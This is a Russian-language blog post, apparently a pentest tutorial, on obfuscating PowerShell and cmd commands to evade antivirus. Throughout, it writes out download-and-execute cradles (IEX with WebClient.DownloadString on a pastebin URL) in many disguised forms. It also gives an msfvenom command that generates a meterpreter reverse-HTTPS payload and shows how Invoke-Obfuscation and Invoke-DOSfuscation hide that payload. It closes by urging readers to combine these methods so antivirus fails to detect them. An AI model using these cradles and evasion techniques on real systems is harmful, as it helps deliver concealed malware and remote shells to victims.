Главная

Wednesday, 26 December 2018

Жесткая обфускация в PowerShell.

Всем привет.

Как то я писал про кодирование команд в коде Powershell с параметром –EncodedCommand. Оказалось что тема обфускации в последнее время набирает популярности. Особенно в связи с тем что вирусня использует Powershell по полной для транспорта своей полезной нагрузки или своего запуска. 

А благодаря обфускации скрипт PowerShell можно спрятать от многих антивирусов.
Взгляните на эту строку. Что вы здесь видите?
;,,C^Md^,; ,^/^C^ ^ ", ( ((;,( ;(s^Et ^ ^ co^M3=^^ /^^an^o)) )))&&,,(,S^Et^ ^ ^cO^m2=^s^^ta^^t)&&(;(;;s^eT^ ^ C^oM1^=^n"^^e"t) ) &&, (( ;c^aLl,^;,S^e^T ^ ^ fi^NAl^=^%COm1^%%c^Om2%^%c^oM3^%))&&; (, ,(c^AlL^, ;,^ ;%Fi^nAl^%) ) "

Думаю - ничего. А ведь это всего лишь обфусцированная команда netstat /ano. Сегодня мы попробуем разобраться, как привести команды на PowerShell к такому виду. 

PowerShell в пентесте

Начнем с самого PowerShell. Почему в пентесте он используется так часто? Ну, как минимум потому, что PowerShell представляет собой командную оболочку и просто для понимания скриптовый язык, который используется в последних версиях операционной системы Windows. К тому же большая часть команд выполняется в памяти, что может помочь избежать детекта анвирусным ПО. Если на машине включено удаленное управление, то можно получить доступ к системе через зашифрованный трафик. Существуют отличные инструменты и фреймворки для работы с PowerShell. Также PowerShell можно вызывать из других  файлов (.bat, .doc, .xls, .ppt, .hta, .exe, .dll) и скриптов. С помощью PowerShell можно загружать код из интернета или файла на ПК и выполнять его. Для этого используется специальный командлет Invoke-Expression. Вот примеры использования.

Invoke-Expression -Command 'C:\directory\script.ps1'
'C:\directory\script.ps1' | Invoke-Expression
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebn.com/raw/MKM5QLaP')

Можно также использовать кодировку Base64. Для начала необходимо закодировать команды в Base64.

[Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes('Ваш код'))

Перед выполнением надо будет декодировать их с помощью -EncodeCommand.

powershell -e RwBlAQALQBQAHIAbwBjGUAcwBzAA==
powershell -enc RwBlAHALQBQAHIAbwBjAGUAcwBzAA==
powershell -EncodedCommand RwBAHQALQBAHIAbwBjAGUAcwBzAA==

Процесс обфускации PowerShell довольно простой, так как это скриптовый язык и работает со строками, а не с исполняемым двоичным кодом. Итак, рассмотрим некоторые методы обфускации PowerShell. Будем рассматривать все на примере данной команды:

Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

Для начала постораемся убрать System из строки System.Net.WebClient. На выполнение самой команды это никак не повлияет, так как нет никакой необходимости писать System в функциях .NET.

Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')


Поглядим, что еще можно сделать. URL в нашей команде - это строка. Что можно делать со строками? Совершенно верно - разделять и соединять, а вернее, конкатенировать. Попробуем это применить.
Invoke-Expression (New-Object Net.WebClient).DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')

Команда отрабатывает точно так же. А сейчас постараемся объявить в виде переменной часть команды.

$get = New-Object Net.Webclient;
Invoke-Expression $get.DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')

Обфускация отлично работает. Идем дальше. 

DownloadString, наверное, используется хакерами уже сто лет. Спрячем DownloadString и New-Object среди “ и `.

$get = New-Object "`N`et.`W`ebc`l`i`ent"; 
Invoke-Expression $get."D`o`wn`l`oa`d`Str`in`g"('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')

Неплохо спрятали. Почти трудно определить, что это такое.
Что еще можно использовать для загрузки файла или скрипта кроме DownloadString? Конечно! Методы класса Net.Web-Client:
DownloadString
DownloadStringAsync
DownloadStringTaskAsync
DownloadFile
DownloadFileAsync
DownloadFileTaskAsync
DownloadData
DownloadDataAsync
DownloadDataTaskAsync
и другие.

Есть возможность использовать не Web-Client, а другие классы:
System.Net.WebRequest
System.Net.HttpWebRequest
System.Net.FileWebRequest
System.Net.FtpWebRequest

Вот пример того, как на деле будет выглядеть одна из команд.
IEX (New-Object System.IO.StreamReader ([Net.HttpWebRequest]::Create("$url").GetResponse(). GetResponseStream())).ReadToEnd(); $readStream.Close(); $response.Close()

Продолжим со строками. Перевернем команду задом наперед.

$reverseCmd = ")'PaLQ5MKM/war/moc.nibetsap//:sptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join '') | IEX

Разделим и соединим строку другим способом.

$cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://pastebin.com/raw/MKM5QLaP')";
IEX ($cmdWithDelim.Split("~~") -Join '') | IEX

Сделаем замену.

$cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://pastebin.com/raw/MKM5QLaP')";
IEX $cmdWithDelim.Replace("~~","") | IEX

И снова конкатенируем другим способом.

$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('https://pastebin.com/raw/MKM5QLaP')"; 
IEX ($c1,$c2,$c3 -Join '') | IEX

Согласитесь, над командой мы поэкспериментировали неплохо. Рассмотрим теперь другие трюки, которые могут помочь доставить полезную нагрузку с использованием cmd. Есть один очень извращенный способ загрузки удаленных скриптов через блокнот (notepad). Подгружаем скрипт File > Open. И все! Он у нас в блокноте.

Можно ли это как-то автоматизировать и использовать? Конечно! С помощью метода SendKeys объекта WscriptShell, который имитирует нажатие клавиш. Вот пример подобного скрипта с использованием блокнота:

$wshell = New-Object -ComObject wscript.shell; 
$wshell.run("notepad");
$wshell.AppActivate('Untitled - Notepad');
Start-Sleep 2; 
$wshell.SendKeys('^o');
Start-Sleep 2; 
$wshell.SendKeys(http://pastebi.com/raw/MKM5QLaP); 
$wshell.SendKeys('~');
Start-Sleep 5; 
$wshell.SendKeys('^a');
$wshell.SendKeys('^c');

Можно попробовать спрятать аргументы команды в родительском процессе. Интересно, проверяют ли антивирусы их?

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&& cmd /c echo %cmd% ^| powershell -"

А можно ли использовать не командную строку, а что-нибудь другое? Например, в некоторых случаях cmd можно заменить на forfiles. Forfiles - это консольная утилита Windows для операций с файлами.

Также cmd можно вызывать не напрямую, а через переменную %COMSPEC%. Запутываем PowerShell еще больше! В командах вместо знака — можно использовать знак /. Например, вот так:

powershell.exe -nop -noni -enc
powershell.exe /nop /noni /enc

Кажется, намудрили достаточно. Можно еще много обсуждать эти замечательные методы. Кому интересно, еще больше методов найдет в презентациях Даниэля Боханнона (первый PDF и второй). Ну а мы пока что посмотрим на написанные им инструменты, которые упростят обфускацию и сделают все за нас.

Автоматизируем обфускацию

Первый инструмент - Invoke-Obfuscation. Это фреймворк для обфускации PowerShell, который использует разные методы, в том числе и перечисленные в предыдущем разделе. Загружаем архив, запускаем PowerShell. Переходим в папку фреймворка, меняем политику исполнения, если надо, и запускаем сам фреймворк.

Set-ExecutionPolicy Unrestricted
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation



Для начального ознакомления введите tutorial. Для тестирования будем использовать все ту же команду. Посмотрим необходимые опции и установим нужные (подсвечивается желтым).

show options
set scriptblock Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

Попробуем использовать конкатенацию. Получаем результат и нашу строку.



Также можно закодировать команду в ASCII, HEX, Octal, Binary, SecureString или BXORencoding. Нагрузку возьмем потяжелее. Например, создадим ее с помощью msfvenom.
msfvenom -p windows/meterpreter/reverse_https --format psh --out xaker.ps1 LHOST=192.168.0.11 LPORT=8080

Попробуем использовать ENCONDING и опцию 6. Получается такая картина.



Можно использовать вместе конкатенацию, encoding и compress. Попробуйте поиграться с разными вариантами и комбинациями.

DOSfuscation

Следующий инструмент того же автора - Invoke-DOSfuscation. Скачиваем его, запускаем PowerShell и вводим в папке фреймворка команды

Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation


Попробуем обфусцировать ту же полезную нагрузку авторства msfvenom. Установим нужные опции и используем начальную обфускацию.

SET COMMANDPATH c:\xaker.ps1
Forcode
Basic Obfuscation

Получаем нашу замаскированную полезную нагрузку.


Выводы

Победу в этой игре принесет знание цели. Если вы знаете, используется ли антивирус и какой конкретно, то вполне есть шанс обойти его при помощи такого несложного трюка. Также полезно знать версию PowerShell на целевой машине и проверять, не сломался ли файл, на ней же.

Доработать обфускацию вы можете сами и, комбинируя разные варианты, сделать так, чтобы антивирус точно не распознал поведение. Попробуйте все методы и затем комбинируйте ручную обфускацию, способы спрятать нагрузку и рассмотренные фреймворки на модели целевой машины.


В конце концов, все ограничено только вашей фантазией!

No comments:

Post a Comment

А что вы думаете по этому поводу?